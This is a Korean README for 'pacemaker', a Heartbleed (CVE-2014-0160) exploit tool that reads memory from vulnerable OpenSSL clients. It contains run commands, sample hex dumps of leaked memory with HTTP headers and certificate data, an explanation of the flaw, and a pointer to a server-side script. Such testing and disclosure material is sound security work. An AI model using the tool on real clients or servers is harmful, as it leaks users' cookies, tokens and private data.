
Heartbleed (CVE-2014-0160) 클라이언트 익스플로잇
Heartbleed(CVE-2014-0160)에 취약한 OpenSSL 클라이언트를 악용하려고 시도합니다. Python 2 및 3과 호환됩니다.
서버를 실행합니다:
python pacemaker.py
클라이언트에서 https://localhost:4433/을 엽니다(필요시 호스트명 변경). 예시:
curl https://localhost:4433/
클라이언트는 항상 연결에 실패합니다:
curl: (35) Unknown SSL protocol error in connection to localhost:4433
취약하지 않은 경우 서버 출력 예시:
Connection from: 127.0.0.1:40736
Possibly not vulnerable
취약하다면 다음과 같은 출력이 나타납니다:
Connection from: 127.0.0.1:40738
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 00 00 00 00 00 00 00 00 00 00 ................
0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
8000: 00 00 00 00 00 00 00 00 00 00 18 03 03 40 00 00 .............@..
...
e440: 1d 2e 9f e9 60 5f 05 b0 ce af 7e b7 95 8c 33 42 ....`_....~...3B
e450: 3f d5 00 c0 30 00 00 05 00 0f 00 01 01 00 00 00 ?...0...........
fff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
그 이후 NUL 바이트로 가득 찬 줄은 *로 접힙니다(xxd 도구처럼).
wget -O /dev/null https://google.com https://localhost:4433을 사용하여 더 "흥미로운" 메모리가 유출되는 예시:
Connection from: 127.0.0.1:41914
Client returned 65535 (0xffff) bytes
0000: 18 03 03 40 00 02 ff ff 2d 03 03 52 34 c6 6d 86 [email protected].
0010: 8d e8 40 97 da ee 7e 21 c4 1d 2e 9f e9 60 5f 05 ..@...~!.....`_.
0020: b0 ce af 7e b7 95 8c 33 42 3f d5 00 c0 30 00 00 ...~...3B?...0..
0030: 05 00 0f 00 01 01 65 0d 0a 43 6f 6e 74 65 6e 74 ......e..Content
0040: 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c -Type: text/html
0050: 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d ; charset=UTF-8.
...
0b50: 01 05 05 07 02 01 16 2d 68 74 74 70 73 3a 2f 2f .......-https://
0b60: 77 77 77 2e 67 65 6f 74 72 75 73 74 2e 63 6f 6d www.geotrust.com
0b70: 2f 72 65 73 6f 75 72 63 65 73 2f 72 65 70 6f 73 /resources/repos
0b80: 69 74 6f 72 79 30 0d 06 09 2a 86 48 86 f7 0d 01 itory0...*.H....
0b90: 01 05 05 00 03 81 81 00 76 e1 12 6e 4e 4b 16 12 ........v..nNK..
0ba0: 86 30 06 b2 81 08 cf f0 08 c7 c7 71 7e 66 ee c2 .0.........q~f..
0bb0: ed d4 3b 1f ff f0 f0 c8 4e d6 43 38 b0 b9 30 7d ..;.....N.C8..0}
0bc0: 18 d0 55 83 a2 6a cb 36 11 9c e8 48 66 a3 6d 7f ..U..j.6...Hf.m.
0bd0: b8 13 d4 47 fe 8b 5a 5c 73 fc ae d9 1b 32 19 38 ...G..Z\s....2.8
0be0: ab 97 34 14 aa 96 d2 eb a3 1c 14 08 49 b6 bb e5 ..4.........I...
0bf0: 91 ef 83 36 eb 1d 56 6f ca da bc 73 63 90 e4 7f ...6..Vo...sc...
0c00: 7b 3e 22 cb 3d 07 ed 5f 38 74 9c e3 03 50 4e a1 {>".=.._8t...PN.
0c10: af 98 ee 61 f2 84 3f 12 00 00 00 00 00 00 00 00 ...a..?.........
0c20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
*
4000: 00 00 00 00 00 18 03 03 40 00 00 00 00 00 00 00 ........@.......
...
ffd0: 00 00 00 00 5c d3 3c 02 00 00 00 00 49 53 4f 36 ....\.<.....ISO6
ffe0: 34 36 2d 53 45 2f 2f 00 53 45 4e 5f 38 35 30 32 46-SE//.SEN_8502
fff0: 30 30 5f 42 2f 2f 00 00 00 00 00 00 00 00 00 00_B//.........
TLS 하트비트는 TLS 연결의 양측에서 보낼 수 있습니다. 핸드셰이크가 완료된 후에는 이러한 하트비트가 암호화됩니다. 그러나 OpenSSL은 핸드셰이크가 완료되기 전에 하트비트 메시지를 허용하는 것으로 보입니다. (레코드 계층 위의) 이러한 하트비트는 전혀 암호화되지 않습니다!
이로 인해 클라이언트에서 버그를 매우 쉽게 악용할 수 있습니다:
인증서나 암호화 키가 교환되기 전에 하트비트가 허용되므로 인증서가 전혀 필요하지 않습니다. 하트비트 요청의 길이가 확인되지 않으므로 클라이언트 메모리에서 최대 64kiB까지 읽을 수 있습니다.
pacemaker는 위 단계를 수행하며, 3단계에서 Alert 외의 데이터가 결과로 나오면 클라이언트가 취약하지 않은 것으로 간주합니다. 일부 프로토콜(예: STARTTLS가 있는 SMTP)의 경우 TLS 핸드셰이크가 시작되기 전에 추가 데이터가 교환됩니다.
더 많은 옵션을 보려면 ./pacemaker.py -h를 실행하세요. 가장 중요한 옵션은 아마 -t(--timeout)와 -x(--count)입니다. 기본 타임아웃은 3초로, 대부분의 클라이언트가 응답하기에 충분합니다(위성 링크 등이 없는 경우).
하트비트당 더 오래 기다리려면(5초) 4개의 하트비트 응답을 획득하는 예시:
./pacemaker.py -t 5 -x 4
이론상 하트비트는 최대 20초까지 걸릴 수 있지만 실제로는 훨씬 빠르게 응답을 받을 수 있습니다.
다음 클라이언트들은 Arch Linux의 OpenSSL 1.0.1f에서 테스트되었으며 핸드셰이크 전에 메모리를 유출했습니다:
links는 이 버그가 클라이언트에 미치는 영향을 보여주는 훌륭한 예입니다. 헤더(쿠키, 인증 토큰) 및 페이지 내용을 포함한 세부 정보를 유출하는 텍스트 기반 브라우저입니다.
pacemaker는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이는 패킷 제작을 위해 pacemaker를 사용하는 구현입니다. 단점은 서버가 첫 번째 하트비트 응답 후 즉시 연결을 재설정하기 때문에 반복 요청 시 매번 새 연결을 설정해야 한다는 것입니다.
이 단점은 취한 접근 방식의 한계에서 비롯됩니다. 클라이언트도 핸드셰이크를 완료하면 연결 실패 없이 여러 암호화된 핸드셰이크를 보낼 수 있습니다.
heartbleed.py는 pacemaker의 일부이므로 동일한 라이선스 조건이 적용됩니다.
다음 서버들은 Arch Linux의 OpenSSL 1.0.1f에서 테스트되었습니다(달리 명시되지 않은 경우):
openssl s_server (HTTPS)이 저장소에는 서버를 대상으로 하는 작동 버전도 포함되어 있습니다. ssltest.py는 Jared Stafford([email protected])가 만들었으며, 모든 크레딧은 그에게 있습니다! http://s3.jspenguin.org/ssltest.py에서 가져왔습니다.
현재 이 스크립트는 Python 2와만 호환됩니다.